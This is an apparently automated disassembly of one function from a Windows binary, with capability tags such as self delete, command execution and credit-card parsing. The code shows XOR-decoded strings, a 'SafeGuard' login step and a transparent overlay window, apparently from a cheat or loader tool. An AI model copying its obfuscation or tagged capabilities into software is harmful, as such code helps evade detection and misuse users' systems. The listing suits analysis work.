Function at 0x140045490
Capabilities:
Authenticate hmac
Check if file exists
Create directory
Delete file
Encode data using xor
Execute command
Get file attributes
Get session user name
Parse credit card information
Resolve function by parsing pe exports
Self delete
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov eax, 0xb0a0
call fcn.1400de6f0
sub rsp, rax
movaps xmmword [rsp + 0xb090], xmm6
movaps xmmword [rsp + 0xb080], xmm7
movaps xmmword [rsp + 0xb070], xmm8
movaps xmmword [rsp + 0xb060], xmm9
movaps xmmword [rsp + 0xb050], xmm10
movaps xmmword [rsp + 0xb040], xmm11
movaps xmmword [rsp + 0xb030], xmm12
movaps xmmword [rsp + 0xb020], xmm13
movaps xmmword [rsp + 0xb010], xmm14
movaps xmmword [rsp + 0xb000], xmm15
lea rbp, [rsp + 0x80]
and rbp, 0xffffffffffffffe0
lea rcx, [rbp + 0x5fc0]
call fcn.140075e30
lea rdx, str.Nuke
lea rcx, [rbp + 0x1db8]
call fcn.1400778a0
lea rdx, [rbp + 0x1db8]
lea rcx, [rbp + 0x5fc0]
call qword [sym.imp.SafeGuard_Library.dll_public:_bool___cdecl_SafeGuard::Auth::Authentication::initialize_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
lea rcx, [rbp + 0x1db8]
call fcn.140077840
xor eax, eax
lea rdx, [0x1404de290]
mov byte [rbp + 0x20], al
movabs rcx, 0xcaed3bae5282b2c6
mov byte [rbp + 0x20], al
mov r8d, 0x40
mov byte [rbp + 0x20], al
movabs rax, 0x61cf2f7912bfe411
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x8f0], rax
mov qword [rbp + 0x150], rcx
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x8f8], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x150], rcx
lea rcx, [rbp + 0x8f0]
mov qword [rbp + 0x900], rax
mov rax, qword [rbp + 0x150]
movdqa xmm0, xmmword [rbp + 0x8f0]
mov qword [rbp + 0x908], rax
xorps xmm0, xmmword [rbp + 0x900]
movdqa xmmword [rbp + 0x8f0], xmm0
call fcn.140045320
lea rcx, [0x1404ddf20]
call fcn.1400875a0
lea rdx, [rbp + 0x158]
mov dword [rbp + 0x158], 0x101
lea rcx, [rbp + 0xac60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea rdx, [rbp + 0xac60]
lea rcx, [rbp + 0x1dd8]
call fcn.1400778a0
xor r12d, r12d
mov dword [rbp + 0x5760], 0x50
lea rax, [0x1400762b0]
mov dword [rbp + 0x5764], 0x40
mov edx, 0x7f00
mov qword [rbp + 0x5768], rax
xor ecx, ecx
mov dword [rbp + 0x5770], r12d
mov dword [rbp + 0x5774], r12d
mov qword [rbp + 0x5778], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0x5780], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
lea rdx, [rbp + 0x1c82]
mov qword [rbp + 0x5790], r12
mov qword [rbp + 0x5788], rax
lea rcx, [rbp + 0x14d]
xor eax, eax
mov byte [rbp + 0x14d], al
call fcn.14006ffe0
mov r15d, dword [reloc.WS2_32.dll_accept]
mov r10, rax
movdqa xmm10, xmmword [str.9999]
movdqa xmm8, xmmword [0x14015d860]
movdqa xmm9, xmmword [0x14015d640]
movdqa xmm7, xmmword [0x14015d700]
movdqa xmm15, xmmword [0x14015d670]
movdqa xmm6, xmmword [0x14015d660]
cmp word [rax + 0x1c], r12w
je 0x140045898
mov r8d, r12d
cmp r15d, 2
jl 0x140045858
movdqa xmm2, xmm9
movdqa xmm0, xmm9
punpckldq xmm2, xmm9
mov r8d, ntohs
pmuldq xmm2, xmm8
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm9
paddd xmm2, xmm9
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm7
xorps xmm2, xmm0
movdqa xmm0, xmm6
movq qword [rax], xmm2
movdqa xmm2, xmm6
punpckldq xmm2, xmm6
pmuldq xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm6
paddd xmm2, xmm6
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 8]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm7
xorps xmm2, xmm0
movdqa xmm0, xmm15
movq qword [rax + 8], xmm2
movdqa xmm2, xmm15
punpckldq xmm2, xmm15
pmuldq xmm2, xmm8
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm15
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 0x10]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm7
xorps xmm2, xmm0
movq qword [rax + 0x10], xmm2
mov eax, r8d
lea r9, [r10 + rax*2]
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0xf
jl 0x140045860
xor eax, eax
mov qword [rbp + 0x5798], r10
lea rdx, [rbp + 0x1ca0]
mov byte [rbp + 0x21], al
lea rcx, [rbp + 0x21]
call fcn.14006ffe0
mov r10, rax
cmp word [rax + 0x1c], r12w
je 0x140045a58
mov r8d, r12d
cmp r15d, 2
jl 0x140045a17
movdqa xmm2, xmm9
movdqa xmm0, xmm9
punpckldq xmm2, xmm9
mov r8d, ntohs
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
pmuldq xmm2, xmm8
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm9
paddd xmm2, xmm9
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm7
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmm6
xorps xmm3, xmm0
punpckldq xmm2, xmm6
pmuldq xmm2, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
movq qword [rax], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm6
paddd xmm2, xmm6
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm7
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmm15
xorps xmm3, xmm0
punpckldq xmm2, xmm15
movq qword [rax + 8], xmm3
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
pmuldq xmm2, xmm8
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm15
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm7
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
mov eax, r8d
lea r9, [r10 + rax*2]
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0xf
jl 0x140045a20
mov edx, 0x7f00
mov qword [rbp + 0x57a0], r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0x5760]
mov qword [rbp + 0x57a8], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si ebx, dword [0x1404dcbd4]
mov r13d, 1
mov ecx, r13d
cvttss2si edi, dword [0x1404dcbd0]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1404dcbd4]
xor ecx, ecx
mulss xmm0, dword [0x14015d364]
cdq
sub eax, edx
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si esi, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x1404dcbd0]
lea rcx, [rbp + 0x22]
mulss xmm0, dword [0x14015d364]
cdq
sub eax, edx
lea rdx, [rbp + 0x1cbe]
sar eax, 1
movd xmm1, eax
xor eax, eax
cvtdq2ps xmm1, xmm1
mov byte [rbp + 0x22], al
subss xmm1, xmm0
cvttss2si r14d, xmm1
call fcn.14006ffe0
mov r10, rax
cmp word [rax + 0x1c], r12w
je 0x140045ca8
mov r8d, r12d
cmp r15d, 2
jl 0x140045c68
movdqa xmm2, xmm9
movdqa xmm0, xmm9
punpckldq xmm2, xmm9
mov r8d, ntohs
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm8
pmuldq xmm2, xmm8
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm9
paddd xmm2, xmm9
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm7
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmm6
xorps xmm3, xmm0
punpckldq xmm2, xmm6
pmuldq xmm2, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
movq qword [rax], xmm3
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm6
paddd xmm2, xmm6
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm7
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmm15
xorps xmm3, xmm0
punpckldq xmm2, xmm15
movq qword [rax + 8], xmm3
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm8
pmuldq xmm2, xmm8
shufps xmm2, xmm0, 0xdd
movdqa xmm0, xmm15
paddd xmm2, xmm15
psrad xmm2, 5
movdqa xmm1, xmm2
psrld xmm1, 0x1f
paddd xmm1, xmm2
movq xmm2, xmm7
pmulld xmm1, xmm10
psubd xmm0, xmm1
pshufhw xmm0, xmm0, 0xd8
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rax + 0x10], xmm3
mov eax, r8d
lea r9, [r10 + rax*2]
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0xf
jl 0x140045c70
mov rdx, qword [rbp + 0x57a0]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r12
mov r8, r10
mov qword [rsp + 0x50], r12
xor ecx, ecx
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_CreateWindowExW]
movdqa xmm0, xmmword [0x14015d5b0]
lea rdx, [rbp + 0x910]
mov rcx, rax
mov qword [0x1404dde40], rax
movdqu xmmword [rbp + 0x910], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1404dde40]
lea rdx, [0x1404ddd80]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [0x1404ddd80], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1404dde40]
call fcn.1400760b0
test al, al
jne 0x140045d5c
call fcn.1400761e0
mov rdx, qword [rbp + 0x5778]
mov rcx, qword [rbp + 0x57a0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
jmp 0x14006ff5d
mov rcx, qword [0x1404dde40]
mov edx, 0xa
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1404dde40]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.90.0
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x38e8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x464
call fcn.140016820
xor ecx, ecx
call fcn.140006b70
call fcn.140008f80
lea rcx, [rbp + 0x4c08]
mov qword [rbp + 0x150], rax
mov rdi, rax
or dword [rax], 3
call fcn.14003fe90
lea rcx, [rbp + 0x7dd0]
call fcn.140026bf0
lea rcx, [rbp + 0x7e60]
mov dword [rbp + 0x7e1c], 0x10c
call fcn.140026bf0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
movss xmm3, dword [0x14015d428]
lea rdx, [0x1402bd170]
mov qword [rsp + 0x28], rax
mov r8d, 0x26368
lea rax, [rbp + 0x7dd0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
movss xmm6, dword [0x14015d448]
lea rdx, [0x1404459a0]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0x7dd0]
mov r8d, 0x954
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1404ddda8], rax
call fcn.140029ca0
movss xmm11, dword [0x14015d438]
lea rdx, [0x140446300]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm11
lea rax, [rbp + 0x7dd0]
mov r8d, 0x875dc
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
mov qword [rsp + 0x28], rax
lea rdx, [0x140361130]
lea rax, [rbp + 0x7dd0]
movaps xmm3, xmm6
mov r8d, 0x28da8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1404ddda0], rax
call fcn.140029ca0
movss xmm7, dword [0x14015d418]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x7dd0]
mov qword [rsp + 0x20], rax
movaps xmm3, xmm7
lea rdx, [0x140361130]
mov r8d, 0x28da8
mov rcx, rbx
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1404ddd90], rax
call fcn.140029ca0
mov qword [rsp + 0x28], rax
lea rdx, [0x140348a20]
lea rax, [rbp + 0x7dd0]
movaps xmm3, xmm6
mov r8d, 0x13144
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
mov qword [0x1404ddd98], rax
call fcn.140029ca0
movss xmm3, dword [0x14015d454]
lea rdx, [0x140348a20]
mov qword [rsp + 0x28], rax
mov r8d, 0x13144
lea rax, [rbp + 0x7dd0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
movss xmm3, dword [0x14015d414]
lea rdx, [0x140361130]
mov qword [rsp + 0x28], rax
mov r8d, 0x28da8
lea rax, [rbp + 0x7dd0]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
mov qword [rsp + 0x28], rax
lea rdx, str.OTTO
lea rax, [rbp + 0x7dd0]
movaps xmm3, xmm11
mov r8d, 0xba80
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
mov qword [rsp + 0x28], rax
lea rdx, [0x1403f90d0]
lea rax, [rbp + 0x7dd0]
movaps xmm3, xmm11
mov r8d, 0x23218
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
mov qword [rsp + 0x28], rax
lea rdx, [0x14035bb70]
lea rax, [rbp + 0x7dd0]
movaps xmm3, xmm11
mov r8d, 0x55b8
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
mov qword [rsp + 0x28], rax
movaps xmm3, xmm11
lea rax, [rbp + 0x7dd0]
mov r8d, 0x32cc
mov qword [rsp + 0x20], rax
lea rdx, [0x1402e3910]
mov rcx, rbx
call fcn.1400277b0
mov rbx, qword [rdi + 0x30]
mov rcx, rbx
call fcn.140029ca0
mov qword [rsp + 0x28], rax
lea rdx, [0x1404cd8e0]
lea rax, [rbp + 0x7dd0]
movaps xmm3, xmm11
mov r8d, 0x2f68
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.1400277b0
movss xmm3, dword [0x14015d420]
lea rax, [0x1401587e0]
mov rcx, qword [rdi + 0x30]
lea rdx, [0x140134dd0]
mov qword [rsp + 0x28], rax
mov r8d, 0x1e695
lea rax, [rbp + 0x7e60]
mov qword [rsp + 0x20], rax
call fcn.140027970
movss xmm3, dword [0x14015d434]
lea rbx, [0x140156efc]
mov rcx, qword [rdi + 0x30]
lea rdx, [0x1400fba80]
xor r14d, r14d
mov qword [rsp + 0x28], rbx
mov r8d, 0x3934b
mov qword [rsp + 0x20], r14
call fcn.140027970
movss xmm3, dword [0x14015d3f0]
lea rdx, [0x1400fba80]
mov rcx, qword [rdi + 0x30]
mov r8d, 0x3934b
mov qword [rsp + 0x28], rbx
mov qword [rbp + 0x160], rax
mov qword [rsp + 0x20], r14
call fcn.140027970
mov rcx, qword [0x1404dde40]
mov qword [rbp + 0x168], rax
call fcn.14003b800
mov rdx, qword [0x1404de2e0]
mov rcx, qword [0x1404de2d8]
call fcn.14003b230
movss xmm0, dword [0x14015d39c]
lea rcx, [rbp + 0x920]
movss xmm3, dword [0x14015d36c]
movss xmm2, dword [0x14015d368]
movss xmm1, dword [0x14015d360]
movss dword [rsp + 0x20], xmm0
call fcn.140001d90
lea rcx, [rbp + 0x930]
mov byte [rbp + 0x20], r12b
mov dword [0x1404dddb8], r13d
call fcn.1400763a0
lea rcx, [rbp + 0x170]
call fcn.140030480
lea r8, [0x1404ddf18]
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call fcn.140039d00
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140078800
mov rcx, rax
call fcn.140077510
xorps xmm14, xmm14
xorps xmm12, xmm12
call fcn.140004f70
movdqa xmm11, xmmword [0x14015d6c0]
movdqa xmm13, xmmword [str.4444444444444444]
movss xmm6, dword [0x14015d578]
lea rcx, [rbp + 0x3fd8]
xor r9d, r9d
mov dword [rsp + 0x20], r13d
xor r8d, r8d
xor edx, edx
movabs rbx, 0x61aa256304b3e51a
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400462e0
nop word [rax + rax]
lea rcx, [rbp + 0x3fd8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x3fd8]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0x3fe0], 0x12
lea rcx, [rbp + 0x3fd8]
movzx r12d, r12b
cmove r12d, r13d
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x140046290
test r12b, r12b
jne 0x14006ff17
call fcn.14003b560
call fcn.14003c440
call fcn.1400098c0
movss xmm2, dword [0x1404dcbd4]
lea rcx, [rbp + 0x188]
movss xmm1, dword [0x1404dcbd0]
call fcn.140001d30
mov rcx, rax
xor edx, edx
call fcn.1400131d0
xor eax, eax
movabs rcx, 0xcaed3bae5282b2c6
mov byte [rbp], al
xor edx, edx
mov byte [rbp], al
mov r8d, 0x3002b
mov byte [rbp], al
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x940], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x948], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x950], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x940]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x958], rax
movdqa xmm0, xmmword [rbp + 0x950]
xorps xmm0, xmmword [rbp + 0x940]
movdqa xmmword [rbp + 0x940], xmm0
call fcn.14000f740
xorps xmm0, xmm0
mov byte [rbp + 0x7580], 0
xor eax, eax
lea rcx, [rbp + 0x190]
movups xmmword [rbp + 0x7581], xmm0
mov qword [rbp + 0x75f1], rax
movups xmmword [rbp + 0x7591], xmm0
mov dword [rbp + 0x75f9], eax
movups xmmword [rbp + 0x75a1], xmm0
mov word [rbp + 0x75fd], ax
movups xmmword [rbp + 0x75b1], xmm0
mov byte [rbp + 0x75ff], al
movups xmmword [rbp + 0x75c1], xmm0
movups xmmword [rbp + 0x75d1], xmm0
movups xmmword [rbp + 0x75e1], xmm0
call fcn.140012e40
lea rcx, [rbp + 0x198]
call fcn.1400171c0
lea rcx, [rbp + 0x1a0]
call fcn.140012e40
mov dword [rdi + 0xe50], r14d
call fcn.140044de0
movss xmm0, dword [0x14015d3b8]
comiss xmm0, dword [0x1404de23c]
jbe 0x140046463
call fcn.140008f80
movss xmm2, dword [0x1404de23c]
movaps xmm1, xmm6
movaps xmm0, xmm14
addss xmm2, dword [rax + 0x10]
movss dword [0x1404de23c], xmm2
mulss xmm2, dword [0x14015d364]
call fcn.1400787f0
jmp 0x140046466
movaps xmm0, xmm6
mov rcx, qword [0x1404ddd70]
movss dword [0x1404dcaf4], xmm0
movdqa xmm0, xmmword [0x14015d780]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
mov r14, qword [rax + 0x2a8]
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x960]
mov rbx, qword [rax + 0x2a8]
movups xmmword [rbp + 0x960], xmm0
call fcn.140004ae0
movss xmm0, dword [0x1404dcbd0]
lea r8, [rbp + 0x1a8]
movss xmm1, dword [0x1404dcbd4]
lea rdx, [rbp + 0x1b0]
movss dword [rbp + 0x1a8], xmm0
xor esi, esi
movss xmm0, dword [0x14015d410]
mov r9d, eax
mov dword [rsp + 0x28], esi
mov rcx, rbx
movss dword [rsp + 0x20], xmm0
movss dword [rbp + 0x1ac], xmm1
mov dword [rbp + 0x1b0], 0
mov dword [rbp + 0x1b4], 0
call fcn.140024340
mov rcx, qword [0x1404ddd70]
movss xmm0, dword [0x1404dcbd0]
mulss xmm0, dword [0x14015d364]
mov rax, qword [rcx + 0x4038]
movss xmm6, dword [0x1404dcaf4]
mov byte [rax + 0xc0], r13b
mov rax, qword [rcx + 0x4038]
lea rcx, [rbp + 0x970]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x1b8], xmm0
movdqa xmm0, xmmword [0x14015d800]
movups xmmword [rbp + 0x970], xmm0
mov dword [rbp + 0x1bc], esi
call fcn.140004ae0
movss dword [rsp + 0x38], xmm14
lea rcx, [rbp + 0x1b8]
mov dword [rsp + 0x30], esi
lea r8, [rbp + 0x1c0]
mov qword [rsp + 0x28], rcx
lea rdx, [rbp + 0x1c8]
mov rcx, rbx
movss dword [rsp + 0x20], xmm6
mov r9d, eax
mov dword [rbp + 0x1c0], esi
mov dword [rbp + 0x1c4], esi
mov dword [rbp + 0x1c8], esi
mov dword [rbp + 0x1cc], esi
call fcn.140025d20
lea r8, [rbp + 0x1d0]
mov dword [rbp + 0x1d0], esi
xor edx, edx
mov dword [rbp + 0x1d4], esi
lea rcx, [rbp + 0x1d8]
mov dword [rbp + 0x1d8], 0x41200000
mov dword [rbp + 0x1dc], 0x41a00000
call fcn.140013140
mov rax, qword [0x1404ddd70]
or dword [rax + 0x49e8], 0x40
cmp dword [0x1404dddb8], esi
mov dword [rax + 0x4a48], esi
movss xmm3, dword [rbp + 0x1a0]
movss xmm2, dword [rbp + 0x1a4]
movaps xmm0, xmm3
addss xmm0, dword [0x14015d484]
addss xmm3, dword [0x14015d558]
movaps xmm1, xmm2
addss xmm1, dword [0x14015d478]
addss xmm2, dword [0x14015d524]
movss dword [rbp + 0x1e0], xmm0
movss dword [rbp + 0x1e8], xmm3
movss dword [rbp + 0x1e4], xmm1
movss dword [rbp + 0x1ec], xmm2
jne 0x1400475d2
mov rcx, qword [0x1404ddda0]
call fcn.140012c70
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x980]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14015d39c]
lea rcx, [0x1404de3c0]
mov esi, eax
call fcn.140004fb0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x990]
mov r8d, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14015d43c]
lea rcx, [rbp + 0x1f0]
movss xmm1, dword [0x14015d4d4]
mov ebx, eax
call fcn.140001d30
movabs rcx, 0xcaed3bae5282b2c6
mov r9d, edi
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x61aa256304b3e51a
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9a0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9a8], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x9b0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x9a0]
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x9a0]
mov qword [rbp + 0x9b8], rax
xorps xmm0, xmmword [rbp + 0x9b0]
movdqa xmmword [rbp + 0x9a0], xmm0
movss xmm0, dword [0x14015d348]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.140033150
call fcn.140012d10
movss xmm6, dword [0x14015d458]
lea rcx, [rbp + 0x1f8]
movss xmm2, dword [0x14015d444]
movaps xmm1, xmm6
call fcn.140001d30
movss xmm2, dword [0x14015d474]
lea rcx, [rbp + 0x200]
movaps xmm1, xmm6
call fcn.140001d30
call fcn.140013250
mov rdi, rax
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x338a317203aff40e
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1e00], rcx
movabs rax, 0xaf8052dc37f7c3a3
mov dword [rsp + 0x20], 0xff
mov qword [rbp + 0x10], rax
mov r9d, 0xb4
mov rcx, qword [rbp + 0x10]
movabs rax, 0xa439fa2edf2e3201
mov qword [rbp + 0x1e08], rcx
xor r8d, r8d
mov qword [rbp + 0x10], rax
lea rcx, [rbp + 0x9c0]
mov rax, qword [rbp + 0x10]
mov edx, 0x64
mov qword [rbp + 0x1e10], rax
movabs rax, 0x33a66fbccd7eb84b
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1e18], rax
movabs rax, 0x61aa5c1777dc8d5d
mov qword [rbp + 0x10], rax
